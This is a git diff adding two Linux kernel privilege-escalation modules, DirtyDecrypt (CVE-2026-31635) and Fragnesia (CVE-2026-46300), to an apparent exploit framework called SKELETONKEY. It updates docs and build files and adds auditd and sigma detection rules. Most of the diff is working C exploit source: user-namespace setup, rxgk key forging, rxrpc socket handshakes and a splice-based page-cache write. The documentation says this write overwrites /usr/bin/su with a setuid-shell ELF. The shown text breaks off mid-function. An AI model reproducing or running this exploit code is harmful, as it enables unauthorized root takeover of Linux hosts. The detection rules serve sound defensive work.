diff --git a/CVES.md b/CVES.md index ccdbf3c..30b1a58 100644 --- a/CVES.md +++ b/CVES.md @@ -23,7 +23,14 @@ Status legend: - ๐Ÿ”ด **DEPRECATED** โ€” fully patched everywhere relevant; kept for historical reference only -**Counts (v0.3.1):** ๐ŸŸข 13 ยท ๐ŸŸก 11 (all `--full-chain` capable) ยท ๐Ÿ”ต 0 ยท โšช 1 ยท ๐Ÿ”ด 0 +**Counts:** ๐ŸŸข 13 ยท ๐ŸŸก 13 ยท ๐Ÿ”ต 0 ยท โšช 0 ยท ๐Ÿ”ด 0 + +> **Note on `dirtydecrypt` / `fragnesia`:** these two are ported from +> public PoCs and are **not yet VM-verified** end-to-end. They are +> marked ๐ŸŸก but differ from the other ๐ŸŸก modules โ€” they are +> self-contained page-cache writes (no `--full-chain` finisher), and +> their `detect()` is precondition-only because the CVE fix commits are +> not yet pinned. See each module's `MODULE.md`. Every module ships a `NOTICE.md` crediting the original CVE reporter and PoC author. `skeletonkey --dump-offsets` populates the @@ -59,7 +66,8 @@ root on a host can upstream their kernel's offsets via PR. | CVE-2023-4622 | AF_UNIX garbage-collector race UAF | LPE (slab UAF, plain unprivileged) | mainline 6.6-rc1 (Aug 2023) | `af_unix_gc` | ๐ŸŸก | Lin Ma. Two-thread race driver: SCM_RIGHTS cycle vs unix_gc trigger; kmalloc-512 (SLAB_TYPESAFE_BY_RCU) refill via msg_msg. **Widest deployment of any module โ€” bug exists since 2.x.** No userns required. Branch backports: 4.14.326 / 4.19.295 / 5.4.257 / 5.10.197 / 5.15.130 / 6.1.51 / 6.5.0. | | CVE-2022-25636 | nft_fwd_dup_netdev_offload heap OOB | LPE (kernel R/W via offload action[] OOB) | mainline 5.17 / 5.16.11 (Feb 2022) | `nft_fwd_dup` | ๐ŸŸก | Aaron Adams (NCC). NFT_CHAIN_HW_OFFLOAD chain + 16 immediates + fwd writes past action.entries[1]. msg_msg kmalloc-512 spray. Branch backports: 5.4.181 / 5.10.102 / 5.15.25 / 5.16.11. | | CVE-2023-0179 | nft_payload set-id memory corruption | LPE (regs->data[] OOB R/W) | mainline 6.2-rc4 / 6.1.6 (Jan 2023) | `nft_payload` | ๐ŸŸก | Davide Ornaghi. NFTA_SET_DESC variable-length element + NFTA_SET_ELEM_EXPRESSIONS payload-set whose verdict.code drives the OOB. Dual cg-96 + 1k spray. Branch backports: 4.14.302 / 4.19.269 / 5.4.229 / 5.10.163 / 5.15.88 / 6.1.6. | -| CVE-TBD | Fragnesia (ESP shared-frag in-place encrypt) | LPE (page-cache write) | mainline TBD | `_stubs/fragnesia_TBD` | โšช | Stub. Per `findings/audit_leak_write_modprobe_backups_2026-05-16.md`, requires CAP_NET_ADMIN in userns netns โ€” may or may not be in-scope depending on target environment. | +| CVE-2026-31635 | DirtyDecrypt / DirtyCBC โ€” rxgk missing-COW in-place decrypt | LPE (page-cache write into a setuid binary) | duplicate of an already-patched mainline flaw (fix commit not yet pinned) | `dirtydecrypt` | ๐ŸŸก | **Ported from the public V12 PoC, not yet VM-verified.** Sibling of Copy Fail / Dirty Frag in the rxgk (AFS rxrpc encryption) subsystem. `fire()` sliding-window page-cache write, ~256 fires/byte; rewrites the first 120 bytes of `/usr/bin/su` with a setuid-shell ELF. `--active` probe fires the primitive at a `/tmp` sentinel. detect() is precondition-only โ€” see MODULE.md. x86_64. | +| CVE-2026-46300 | Fragnesia โ€” XFRM ESP-in-TCP `skb_try_coalesce` SHARED_FRAG loss | LPE (page-cache write into a setuid binary) | distro patches 2026-05-13; mainline fix followed (commit not yet pinned) | `fragnesia` | ๐ŸŸก | **Ported from the public V12 PoC, not yet VM-verified.** Latent bug exposed by the Dirty Frag fix (`f4c50a4034e6`). AF_ALG GCM keystream table + userns/netns + XFRM ESP-in-TCP splice trigger pair; rewrites the first 192 bytes of `/usr/bin/su`. Needs `CONFIG_INET_ESPINTCP` + unprivileged userns (the in-scope question the old `_stubs/fragnesia_TBD` raised โ€” resolved: ships, reports PRECOND_FAIL when the userns gate is closed). PoC's ANSI TUI dropped in the port. x86_64. | ## Operations supported per module @@ -91,6 +99,8 @@ Symbols: โœ“ = supported, โ€” = not applicable / no automated path. | af_unix_gc | โœ“ | โœ“ (race) | โ€” (upgrade kernel) | โœ“ (queue drain) | โœ“ (auditd) | | nft_fwd_dup | โœ“ | โœ“ (primitive) | โ€” (upgrade kernel) | โœ“ (queue drain) | โœ“ (auditd) | | nft_payload | โœ“ | โœ“ (primitive) | โ€” (upgrade kernel) | โœ“ (queue drain) | โœ“ (auditd + sigma) | +| dirtydecrypt | โœ“ (+ `--active`) | โœ“ (ported) | โ€” (upgrade kernel) | โœ“ (evict page cache) | โœ“ (auditd + sigma) | +| fragnesia | โœ“ (+ `--active`) | โœ“ (ported) | โ€” (upgrade kernel) | โœ“ (evict page cache) | โœ“ (auditd + sigma) | ## Pipeline for additions diff --git a/Makefile b/Makefile index f542000..f64ffad 100644 --- a/Makefile +++ b/Makefile @@ -142,10 +142,20 @@ VMW_DIR := modules/vmwgfx_cve_2023_2008 VMW_SRCS := $(VMW_DIR)/skeletonkey_modules.c VMW_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(VMW_SRCS)) +# Family: dirtydecrypt (CVE-2026-31635) โ€” rxgk page-cache write +DDC_DIR := modules/dirtydecrypt_cve_2026_31635 +DDC_SRCS := $(DDC_DIR)/skeletonkey_modules.c +DDC_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(DDC_SRCS)) + +# Family: fragnesia (CVE-2026-46300) โ€” XFRM ESP-in-TCP page-cache write +FGN_DIR := modules/fragnesia_cve_2026_46300 +FGN_SRCS := $(FGN_DIR)/skeletonkey_modules.c +FGN_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(FGN_SRCS)) + # Top-level dispatcher TOP_OBJ := $(BUILD)/skeletonkey.o -ALL_OBJS := $(TOP_OBJ) $(CORE_OBJS) $(CFF_OBJS) $(DP_OBJS) $(EB_OBJS) $(PK_OBJS) $(NFT_OBJS) $(OVL_OBJS) $(CR4_OBJS) $(DCOW_OBJS) $(PTM_OBJS) $(NXC_OBJS) $(AFP_OBJS) $(FUL_OBJS) $(STR_OBJS) $(AFP2_OBJS) $(CRA_OBJS) $(OSU_OBJS) $(NSU_OBJS) $(AUG_OBJS) $(NFD_OBJS) $(NPL_OBJS) $(SAM_OBJS) $(SEQ_OBJS) $(SUE_OBJS) $(VMW_OBJS) +ALL_OBJS := $(TOP_OBJ) $(CORE_OBJS) $(CFF_OBJS) $(DP_OBJS) $(EB_OBJS) $(PK_OBJS) $(NFT_OBJS) $(OVL_OBJS) $(CR4_OBJS) $(DCOW_OBJS) $(PTM_OBJS) $(NXC_OBJS) $(AFP_OBJS) $(FUL_OBJS) $(STR_OBJS) $(AFP2_OBJS) $(CRA_OBJS) $(OSU_OBJS) $(NSU_OBJS) $(AUG_OBJS) $(NFD_OBJS) $(NPL_OBJS) $(SAM_OBJS) $(SEQ_OBJS) $(SUE_OBJS) $(VMW_OBJS) $(DDC_OBJS) $(FGN_OBJS) .PHONY: all clean debug static help diff --git a/ROADMAP.md b/ROADMAP.md index d99c802..f60f5ad 100644 --- a/ROADMAP.md +++ b/ROADMAP.md @@ -164,10 +164,26 @@ Backfill of historical and recent LPEs as time allows. (hand-rolled nfnetlink, NFT_GOTO+DROP malformed verdict, msg_msg kmalloc-cg-96 groom, no pipapo R/W chain). +**Landed (ported from public PoC, pending VM verification):** + +- [x] **CVE-2026-46300** โ€” Fragnesia: ๐ŸŸก XFRM ESP-in-TCP page-cache + write. Ported from the V12 PoC; the old `_stubs/fragnesia_TBD` + stub is retired. The stub's open question ("is the + unprivileged-userns-netns scenario in scope?") is resolved โ€” + the module ships and reports `PRECOND_FAIL` when the userns gate + is closed. +- [x] **CVE-2026-31635** โ€” DirtyDecrypt: ๐ŸŸก rxgk missing-COW in-place + decrypt page-cache write. Ported from the V12 PoC. +- [ ] **Verify both on a vulnerable-kernel VM**, pin the CVE fix + commits, add `kernel_range` tables, and promote ๐ŸŸก โ†’ ๐ŸŸข. Until + then `detect()` is precondition-only (no version verdict) and + `--auto` will not fire them blind. + **Carry-overs:** - [ ] **CVE-2023-2008** โ€” vmwgfx OOB write -- [ ] Fragnesia (if it lands as a CVE) +- [ ] **CVE-2026-41651** โ€” Pack2TheRoot (PackageKit daemon userspace + LPE; cross-distro). Candidate โ€” userspace LPE in the pwnkit vein. - [ ] Anything we ourselves disclose โ€” bundled AFTER upstream patch ships (responsible-disclosure-first) diff --git a/core/registry.h b/core/registry.h index 4f185c5..a3c50fd 100644 --- a/core/registry.h +++ b/core/registry.h @@ -44,5 +44,7 @@ void skeletonkey_register_sudo_samedit(void); void skeletonkey_register_sequoia(void); void skeletonkey_register_sudoedit_editor(void); void skeletonkey_register_vmwgfx(void); +void skeletonkey_register_dirtydecrypt(void); +void skeletonkey_register_fragnesia(void); #endif /* SKELETONKEY_REGISTRY_H */ diff --git a/modules/_stubs/fragnesia_TBD/MODULE.md b/modules/_stubs/fragnesia_TBD/MODULE.md deleted file mode 100644 index cdc0ebf..0000000 --- a/modules/_stubs/fragnesia_TBD/MODULE.md +++ /dev/null @@ -1,27 +0,0 @@ -# Fragnesia โ€” CVE pending - -> โšช **PLANNED** stub. See [`../../ROADMAP.md`](../../ROADMAP.md) -> Phase 7+. - -## Summary - -ESP shared-frag in-place encrypt path can be coerced into writing -into the page cache of an unrelated file. Same primitive shape as -Dirty Frag, different reach. - -## Status - -Audit-stage. See -`security-research/findings/audit_leak_write_modprobe_backups_2026-05-16.md` -section on backup primitives. Notably: trigger appears to require -CAP_NET_ADMIN inside a userns netns. On kCTF (shared net_ns) that's -cap-dead, but on host systems where user_ns clone is enabled it's -reachable. - -## Decision needed before implementing - -Is the unprivileged-userns-netns scenario in scope for SKELETONKEY? If -yes, this module ships. If we restrict to "default Linux user -account, no namespace tricks," this module is out of scope. - -## Not started. diff --git a/modules/dirtydecrypt_cve_2026_31635/MODULE.md b/modules/dirtydecrypt_cve_2026_31635/MODULE.md new file mode 100644 index 0000000..f8f7d49 --- /dev/null +++ b/modules/dirtydecrypt_cve_2026_31635/MODULE.md @@ -0,0 +1,77 @@ +# dirtydecrypt โ€” CVE-2026-31635 + +> ๐ŸŸก **PRIMITIVE / ported.** Faithful port of the public V12 PoC into +> the `skeletonkey_module` interface. **Not yet validated end-to-end on +> a vulnerable-kernel VM** โ€” see _Verification status_ below. + +## Summary + +DirtyDecrypt (a.k.a. DirtyCBC) is a missing copy-on-write guard in +`rxgk_decrypt_skb()` (`net/rxrpc/rxgk_common.h`). The function decrypts +incoming rxgk socket buffers **in place** before the HMAC is verified. +When the skb fragment pages are page-cache pages โ€” spliced in via +`MSG_SPLICE_PAGES` over loopback โ€” the in-place AES decrypt corrupts the +page cache of a read-only file. + +It is a sibling of Copy Fail (CVE-2026-31431) and Dirty Frag +(CVE-2026-43284 / 43500): same bug class, different kernel subsystem +(rxgk / AFS-style rxrpc encryption rather than algif_aead or xfrm-ESP). + +## Primitive + +Each `fire()`: + +1. Adds an `rxrpc` security key holding a crafted rxgk XDR token. +2. Opens an `AF_RXRPC` client + a fake UDP server on loopback and + completes the rxgk handshake. +3. Forges a DATA packet whose **wire header comes from userspace** and + whose **payload pages come from the target file's page cache** + (`splice` + `vmsplice`). +4. The kernel decrypts the spliced page-cache pages in place โ€” the HMAC + check then fails (expected), but the page cache is already mutated. + +`pagecache_write()` drives a **sliding-window** technique: byte[0] of +each corrupted 16-byte AES block is uniformly random (โ‰ˆ1/256 chance of +the wanted value), and round _i+1_ at offset _S+i+1_ overwrites the +15-byte collateral of round _i_ without disturbing the byte round _i_ +fixed. Net cost โ‰ˆ 256 fires per byte. + +The exploit rewrites the first 120 bytes of a setuid-root binary +(`/usr/bin/su` and friends) with a tiny ET_DYN ELF that calls +`setuid(0)` + `execve("/bin/sh")`. + +## Operations + +| Op | Behaviour | +|---|---| +| `--scan` | Checks AF_RXRPC reachability + a readable setuid carrier. With `--active`, fires the primitive against a disposable `/tmp` file and reports VULNERABLE/OK empirically. | +| `--exploit โ€ฆ --i-know` | Forks a child that corrupts the carrier's page cache and execs it for a root shell. `--no-shell` stops after the page-cache write. | +| `--cleanup` | Evicts the carrier from the page cache (`POSIX_FADV_DONTNEED` + `drop_caches`). The on-disk binary is never written. | +| `--detect-rules` | Emits embedded auditd + sigma rules. | + +## Preconditions + +- `AF_RXRPC` reachable (the `rxrpc` module loadable / built in). +- A readable setuid-root binary to use as the payload carrier. +- x86_64 (the embedded ELF payload is x86_64 shellcode). + +## Verification status + +This module is a **faithful port** of +, compiled +into the SKELETONKEY module interface. It has **not** been validated +end-to-end against a known-vulnerable kernel inside the SKELETONKEY CI +matrix. + +`detect()` deliberately does **not** return a kernel-version-based +patched/vulnerable verdict: the CVE-2026-31635 fix commit is not yet +pinned here, and fabricating a `kernel_patched_from` table would +violate the project's no-fabrication rule (`CVES.md`). Instead: + +- preconditions missing โ†’ `PRECOND_FAIL` +- preconditions present, no `--active` โ†’ `TEST_ERROR` ("cannot + determine passively") so `--auto` does not fire it blind +- `--active` โ†’ empirical VULNERABLE / OK via the `/tmp` sentinel probe + +**Before promoting to ๐ŸŸข:** pin the fix commit + branch-backport +thresholds, add a `kernel_range`, and validate on a vulnerable VM. diff --git a/modules/dirtydecrypt_cve_2026_31635/NOTICE.md b/modules/dirtydecrypt_cve_2026_31635/NOTICE.md new file mode 100644 index 0000000..1da614e --- /dev/null +++ b/modules/dirtydecrypt_cve_2026_31635/NOTICE.md @@ -0,0 +1,45 @@ +# NOTICE โ€” dirtydecrypt + +## Vulnerability + +**CVE-2026-31635** โ€” "DirtyDecrypt" / "DirtyCBC". Missing copy-on-write +guard in `rxgk_decrypt_skb()` (`net/rxrpc/rxgk_common.h`). The function +calls `skb_to_sgvec()` then `crypto_krb5_decrypt()` with no +`skb_cow_data()`; the `krb5enc` AEAD template (`crypto/krb5enc.c`) +decrypts **in place** before verifying the HMAC. When the skb fragment +pages are page-cache pages (spliced in via `MSG_SPLICE_PAGES` over +loopback), the in-place decrypt corrupts the page cache of a read-only +file. The same pattern exists in rxkad (`rxkad_verify_packet_2`). + +Sibling of Copy Fail (CVE-2026-31431) and Dirty Frag +(CVE-2026-43284 / CVE-2026-43500) โ€” all are page-cache write +primitives that abuse a missing COW boundary. + +## Research credit + +Discovered and reported by the **Zellic** and **V12 security** team. +Public proof-of-concept by **Luna Tong** ("cts" / "gf_256"), Zellic +co-founder, on the V12 team. + +> Reference PoC: + +On disclosure (2026-05-09) the kernel maintainers indicated the issue +duplicated a flaw already patched in mainline; CVE-2026-31635 was +assigned subsequently. + +## SKELETONKEY role + +`skeletonkey_modules.c` is a port of the V12 PoC into the +`skeletonkey_module` interface. The exploit primitive โ€” the +`fire()` / `pagecache_write()` sliding-window machinery, the rxgk XDR +token builder, the 120-byte ET_DYN ELF payload โ€” is reproduced from +that PoC. SKELETONKEY adds the detect/cleanup lifecycle, an `--active` +sentinel probe, `--no-shell` support, and the embedded detection +rules. Research credit belongs to the people above. + +## Verification status + +**Ported, not yet validated end-to-end on a vulnerable-kernel VM.** +The CVE-2026-31635 fix commit is not yet pinned in this module, so +`detect()` does not perform a kernel-version patched/vulnerable +verdict โ€” see `MODULE.md`. diff --git a/modules/dirtydecrypt_cve_2026_31635/detect/auditd.rules b/modules/dirtydecrypt_cve_2026_31635/detect/auditd.rules new file mode 100644 index 0000000..4a7b974 --- /dev/null +++ b/modules/dirtydecrypt_cve_2026_31635/detect/auditd.rules @@ -0,0 +1,28 @@ +# DirtyDecrypt (CVE-2026-31635) โ€” auditd detection rules +# +# The rxgk in-place decrypt corrupts the page cache of a read-only +# file. These rules flag the syscall surface the exploit drives and +# writes to the setuid binaries it targets. +# +# Install: copy into /etc/audit/rules.d/ and `augenrules --load`, or +# skeletonkey --detect-rules --format=auditd | sudo tee \ +# /etc/audit/rules.d/99-skeletonkey.rules + +# Modification of common payload carriers / credential files +-w /usr/bin/su -p wa -k skeletonkey-dirtydecrypt +-w /bin/su -p wa -k skeletonkey-dirtydecrypt +-w /usr/bin/mount -p wa -k skeletonkey-dirtydecrypt +-w /usr/bin/passwd -p wa -k skeletonkey-dirtydecrypt +-w /usr/bin/chsh -p wa -k skeletonkey-dirtydecrypt +-w /etc/passwd -p wa -k skeletonkey-dirtydecrypt +-w /etc/shadow -p wa -k skeletonkey-dirtydecrypt + +# AF_RXRPC socket creation (family 33) โ€” core of the rxgk trigger +-a always,exit -F arch=b64 -S socket -F a0=33 -k skeletonkey-dirtydecrypt-rxrpc + +# rxrpc security keys added to the process keyring +-a always,exit -F arch=b64 -S add_key -k skeletonkey-dirtydecrypt-key + +# splice() drives page-cache pages into the forged DATA packet +-a always,exit -F arch=b64 -S splice -k skeletonkey-dirtydecrypt-splice +-a always,exit -F arch=b32 -S splice -k skeletonkey-dirtydecrypt-splice diff --git a/modules/dirtydecrypt_cve_2026_31635/detect/sigma.yml b/modules/dirtydecrypt_cve_2026_31635/detect/sigma.yml new file mode 100644 index 0000000..39ec7bc --- /dev/null +++ b/modules/dirtydecrypt_cve_2026_31635/detect/sigma.yml @@ -0,0 +1,29 @@ +title: Possible DirtyDecrypt exploitation (CVE-2026-31635) +id: 7c1e9a40-skeletonkey-dirtydecrypt +status: experimental +description: | + Detects the file-modification footprint of the rxgk page-cache write + (DirtyDecrypt / DirtyCBC, CVE-2026-31635): non-root creation of + AF_RXRPC sockets followed by modification of a setuid-root binary or + a credential file. +references: + - https://github.com/v12-security/pocs/tree/main/dirtydecrypt +logsource: + product: linux + service: auditd +detection: + modification: + type: 'PATH' + name|startswith: + - '/usr/bin/su' + - '/bin/su' + - '/etc/passwd' + - '/etc/shadow' + not_root: + auid|expression: '!= 0' + condition: modification and not_root +level: high +tags: + - attack.privilege_escalation + - attack.t1068 + - cve.2026.31635 diff --git a/modules/dirtydecrypt_cve_2026_31635/skeletonkey_modules.c b/modules/dirtydecrypt_cve_2026_31635/skeletonkey_modules.c new file mode 100644 index 0000000..065a8f0 --- /dev/null +++ b/modules/dirtydecrypt_cve_2026_31635/skeletonkey_modules.c @@ -0,0 +1,908 @@ +/* + * dirtydecrypt_cve_2026_31635 โ€” SKELETONKEY module + * + * DirtyDecrypt / DirtyCBC (CVE-2026-31635) โ€” missing copy-on-write guard + * in rxgk_decrypt_skb() (net/rxrpc/rxgk_common.h). rxgk_decrypt_skb() + * does skb_to_sgvec() + crypto_krb5_decrypt() with no skb_cow_data(); + * the krb5enc AEAD template decrypts in-place BEFORE verifying the HMAC. + * When skb frag pages are page-cache pages (spliced in via + * MSG_SPLICE_PAGES over loopback), the in-place decrypt corrupts the + * page cache of a read-only file. Sibling of Copy Fail / Dirty Frag. + * + * This module is a faithful port of the public V12 security PoC + * (rxgk pagecache write, github.com/v12-security/pocs/dirtydecrypt, + * Luna Tong / "cts"). The exploit primitive (the sliding-window + * fire()/pagecache_write() machinery, the rxgk XDR token builder, the + * 120-byte ET_DYN ELF) is reproduced from that PoC; see NOTICE.md. + * + * Port adaptations vs. the standalone PoC: + * - wrapped in the skeletonkey_module detect/exploit/cleanup interface + * - exploit() runs the PoC body in a forked child so the PoC's + * exit()/die() paths cannot tear down the skeletonkey dispatcher + * - honours ctx->no_shell (corrupt + verify, do not spawn the shell) + * - adds an --active sentinel probe that fires the primitive against + * a disposable /tmp file instead of a setuid binary + * - the on-disk binary is never written; cleanup() evicts the page + * cache (the corruption is a page-cache-only write) + * + * VERIFICATION STATUS: ported, NOT yet validated end-to-end on a + * vulnerable-kernel VM. The fix commit for CVE-2026-31635 is not yet + * pinned in this module, so detect() does not do a version-based + * patched/vulnerable verdict โ€” see detect() and MODULE.md. + */ + +#include "skeletonkey_modules.h" +#include "../../core/registry.h" + +#include +#include +#include +#include +#include +#include + +#ifdef __linux__ + +/* _GNU_SOURCE / _FILE_OFFSET_BITS are passed via -D in the top-level + * Makefile; do not redefine here (warning: redefined). */ +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#ifdef __has_include +# if __has_include() +# include +# include +# include +# else +# define DD_NEED_RXRPC_DEFS +# endif +#else +# include +# include +# include +#endif + +#ifndef AF_RXRPC +#define AF_RXRPC 33 +#endif +#ifndef SOL_RXRPC +#define SOL_RXRPC 272 +#endif + +#ifdef DD_NEED_RXRPC_DEFS +#define KEY_SPEC_PROCESS_KEYRING (-2) +#define RXRPC_SECURITY_KEY 1 +#define RXRPC_MIN_SECURITY_LEVEL 4 +#define RXRPC_SECURITY_ENCRYPT 2 +#define RXRPC_USER_CALL_ID 1 +struct sockaddr_rxrpc { + unsigned short srx_family; + uint16_t srx_service; + uint16_t transport_type; + uint16_t transport_len; + union { + unsigned short family; + struct sockaddr_in sin; + struct sockaddr_in6 sin6; + } transport; +}; +#endif + +#define RXGK_SECURITY_INDEX 6 +#define ENCTYPE_AES128_CTS 17 +#define AES_KEY_LEN 16 + +struct rxrpc_wire_header { + uint32_t epoch; + uint32_t cid; + uint32_t callNumber; + uint32_t seq; + uint32_t serial; + uint8_t type; + uint8_t flags; + uint8_t userStatus; + uint8_t securityIndex; + uint16_t cksum; + uint16_t serviceId; +} __attribute__((packed)); + +#define RXRPC_PACKET_TYPE_DATA 1 +#define RXRPC_PACKET_TYPE_CHALLENGE 6 +#define RXRPC_LAST_PACKET 0x04 + +/* dd_verbose gates step/status chatter; errors always print. Set per + * invocation from !ctx->json before any helper runs. */ +static int dd_verbose = 1; +#define LOG(fmt, ...) do { if (dd_verbose) \ + fprintf(stderr, "[*] dirtydecrypt: " fmt "\n", ##__VA_ARGS__); } while (0) +#define ERR(fmt, ...) fprintf(stderr, "[-] dirtydecrypt: " fmt "\n", ##__VA_ARGS__) + +/* Candidate setuid-root targets, in preference order. */ +static const char *const dd_targets[] = { + "/usr/bin/su", "/bin/su", "/usr/bin/mount", + "/usr/bin/passwd", "/usr/bin/chsh", NULL +}; + +/* --- helpers (faithful to the V12 PoC) --- */ + +static long key_add(const char *type, const char *desc, + const void *payload, size_t plen, int ringid) +{ + return syscall(SYS_add_key, type, desc, payload, plen, ringid); +} + +static int write_proc(const char *path, const char *buf) +{ + int fd = open(path, O_WRONLY); + if (fd < 0) return -1; + int n = write(fd, buf, strlen(buf)); + close(fd); + return n; +} + +static void setup_ns(void) +{ + uid_t uid = getuid(); + gid_t gid = getgid(); + + if (unshare(CLONE_NEWUSER | CLONE_NEWNET) < 0) { + if (unshare(CLONE_NEWNET) < 0) { + perror("unshare"); + _exit(4); + } + } else { + write_proc("/proc/self/setgroups", "deny"); + char map[64]; + snprintf(map, sizeof(map), "0 %u 1", uid); + write_proc("/proc/self/uid_map", map); + snprintf(map, sizeof(map), "0 %u 1", gid); + write_proc("/proc/self/gid_map", map); + } + + int s = socket(AF_INET, SOCK_DGRAM, 0); + if (s >= 0) { + struct ifreq ifr = {0}; + strncpy(ifr.ifr_name, "lo", IFNAMSIZ); + if (ioctl(s, SIOCGIFFLAGS, &ifr) == 0) { + ifr.ifr_flags |= IFF_UP | IFF_RUNNING; + ioctl(s, SIOCSIFFLAGS, &ifr); + } + close(s); + } +} + +static void xdr_put32(uint8_t **pp, uint32_t val) +{ + uint32_t nv = htonl(val); + memcpy(*pp, &nv, 4); + *pp += 4; +} + +static void xdr_put64(uint8_t **pp, uint64_t val) +{ + xdr_put32(pp, (uint32_t)(val >> 32)); + xdr_put32(pp, (uint32_t)(val & 0xFFFFFFFF)); +} + +static void xdr_put_data(uint8_t **pp, const void *data, size_t len) +{ + xdr_put32(pp, (uint32_t)len); + memcpy(*pp, data, len); + *pp += len; + size_t pad = (4 - (len & 3)) & 3; + if (pad) { memset(*pp, 0, pad); *pp += pad; } +} + +static int build_rxgk_token(uint8_t *out, size_t maxlen, + const uint8_t *base_key, size_t keylen) +{ + uint8_t *p = out; + struct timespec ts; + clock_gettime(CLOCK_REALTIME, &ts); + uint64_t now = (uint64_t)ts.tv_sec * 10000000ULL + + (uint64_t)ts.tv_nsec / 100ULL; + + xdr_put32(&p, 0); /* flags */ + xdr_put_data(&p, "poc.test", 8); /* cell */ + xdr_put32(&p, 1); /* ntoken */ + + uint8_t tok[512]; + uint8_t *tp = tok; + xdr_put32(&tp, RXGK_SECURITY_INDEX); + xdr_put64(&tp, now); /* begintime */ + xdr_put64(&tp, now + 864000000000ULL); /* endtime */ + xdr_put64(&tp, 2); /* level = ENCRYPT */ + xdr_put64(&tp, 864000000000ULL); /* lifetime */ + xdr_put64(&tp, 0); /* bytelife */ + xdr_put64(&tp, ENCTYPE_AES128_CTS); /* enctype */ + xdr_put_data(&tp, base_key, keylen); /* key */ + uint8_t ticket[8] = {0xDE,0xAD,0xBE,0xEF,0xCA,0xFE,0xBA,0xBE}; + xdr_put_data(&tp, ticket, sizeof(ticket)); + + size_t toklen = (size_t)(tp - tok); + xdr_put32(&p, (uint32_t)toklen); + memcpy(p, tok, toklen); + p += toklen; + + if ((size_t)(p - out) > maxlen) return -1; + return (int)(p - out); +} + +static long add_rxgk_key(const char *desc, const uint8_t *base_key, size_t keylen) +{ + uint8_t buf[1024]; + int n = build_rxgk_token(buf, sizeof(buf), base_key, keylen); + if (n < 0) return -1; + return key_add("rxrpc", desc, buf, n, KEY_SPEC_PROCESS_KEYRING); +} + +static int setup_rxrpc_client(uint16_t local_port, const char *keyname) +{ + int fd = socket(AF_RXRPC, SOCK_DGRAM, PF_INET); + if (fd < 0) return -1; + + if (setsockopt(fd, SOL_RXRPC, RXRPC_SECURITY_KEY, + keyname, strlen(keyname)) < 0) { + close(fd); return -1; + } + int min_level = RXRPC_SECURITY_ENCRYPT; + if (setsockopt(fd, SOL_RXRPC, RXRPC_MIN_SECURITY_LEVEL, + &min_level, sizeof(min_level)) < 0) { + close(fd); return -1; + } + + struct sockaddr_rxrpc srx = {0}; + srx.srx_family = AF_RXRPC; + srx.srx_service = 0; + srx.transport_type = SOCK_DGRAM; + srx.transport_len = sizeof(struct sockaddr_in); + srx.transport.sin.sin_family = AF_INET; + srx.transport.sin.sin_port = htons(local_port); + srx.transport.sin.sin_addr.s_addr = htonl(0x7F000001); + + if (bind(fd, (struct sockaddr *)&srx, sizeof(srx)) < 0) { + close(fd); return -1; + } + return fd; +} + +static int initiate_call(int cli_fd, uint16_t srv_port, uint16_t service_id) +{ + char data[] = "TESTDATA"; + struct sockaddr_rxrpc srx = {0}; + srx.srx_family = AF_RXRPC; + srx.srx_service = service_id; + srx.transport_type = SOCK_DGRAM; + srx.transport_len = sizeof(struct sockaddr_in); + srx.transport.sin.sin_family = AF_INET; + srx.transport.sin.sin_port = htons(srv_port); + srx.transport.sin.sin_addr.s_addr = htonl(0x7F000001); + + char cmsg_buf[CMSG_SPACE(sizeof(unsigned long))]; + struct msghdr msg = {0}; + msg.msg_name = &srx; + msg.msg_namelen = sizeof(srx); + struct iovec iov = { .iov_base = data, .iov_len = sizeof(data) }; + msg.msg_iov = &iov; + msg.msg_iovlen = 1; + msg.msg_control = cmsg_buf; + msg.msg_controllen = sizeof(cmsg_buf); + struct cmsghdr *cmsg = CMSG_FIRSTHDR(&msg); + cmsg->cmsg_level = SOL_RXRPC; + cmsg->cmsg_type = RXRPC_USER_CALL_ID; + cmsg->cmsg_len = CMSG_LEN(sizeof(unsigned long)); + *(unsigned long *)CMSG_DATA(cmsg) = 0xDEAD; + + int fl = fcntl(cli_fd, F_GETFL); + fcntl(cli_fd, F_SETFL, fl | O_NONBLOCK); + ssize_t n = sendmsg(cli_fd, &msg, 0); + fcntl(cli_fd, F_SETFL, fl); + + if (n < 0 && errno != EAGAIN && errno != EWOULDBLOCK) + return -1; + return 0; +} + +static int setup_udp_server(uint16_t port) +{ + int s = socket(AF_INET, SOCK_DGRAM, 0); + if (s < 0) return -1; + struct sockaddr_in sa = { + .sin_family = AF_INET, + .sin_port = htons(port), + .sin_addr.s_addr = htonl(0x7F000001), + }; + int one = 1; + setsockopt(s, SOL_SOCKET, SO_REUSEADDR, &one, sizeof(one)); + if (bind(s, (struct sockaddr *)&sa, sizeof(sa)) < 0) { + close(s); return -1; + } + return s; +} + +static ssize_t udp_recv(int s, void *buf, size_t cap, + struct sockaddr_in *from, int timeout_ms) +{ + struct pollfd pfd = { .fd = s, .events = POLLIN }; + if (poll(&pfd, 1, timeout_ms) <= 0) return -1; + socklen_t fl = from ? sizeof(*from) : 0; + return recvfrom(s, buf, cap, 0, (struct sockaddr *)from, from ? &fl : NULL); +} + +static int dd_trigger_seq = 0; + +/* + * Fire one splice-based page-cache corruption at the given file offset. + * Returns 1 on fire, -1 on setup error. + */ +static int fire(int target_fd, off_t splice_off, size_t splice_len, + const uint8_t *base_key, size_t keylen) +{ + char keyname[32]; + snprintf(keyname, sizeof(keyname), "rxgk%d", dd_trigger_seq++); + + long key = add_rxgk_key(keyname, base_key, keylen); + if (key < 0) return -1; + + uint16_t port_S = 10000 + (rand() % 27000) * 2; + uint16_t port_C = port_S + 1; + int ret = -1; + + int udp_srv = setup_udp_server(port_S); + if (udp_srv < 0) goto out_key; + + int cli = setup_rxrpc_client(port_C, keyname); + if (cli < 0) goto out_udp; + + if (initiate_call(cli, port_S, 1234) < 0) + goto out_cli; + + uint8_t pkt[2048]; + struct sockaddr_in cli_addr; + ssize_t n = udp_recv(udp_srv, pkt, sizeof(pkt), &cli_addr, 50); + if (n < (ssize_t)sizeof(struct rxrpc_wire_header)) goto out_cli; + + struct rxrpc_wire_header *hdr = (struct rxrpc_wire_header *)pkt; + uint32_t epoch = ntohl(hdr->epoch); + uint32_t cid = ntohl(hdr->cid); + uint32_t callN = ntohl(hdr->callNumber); + uint16_t svc = ntohs(hdr->serviceId); + uint16_t cport = 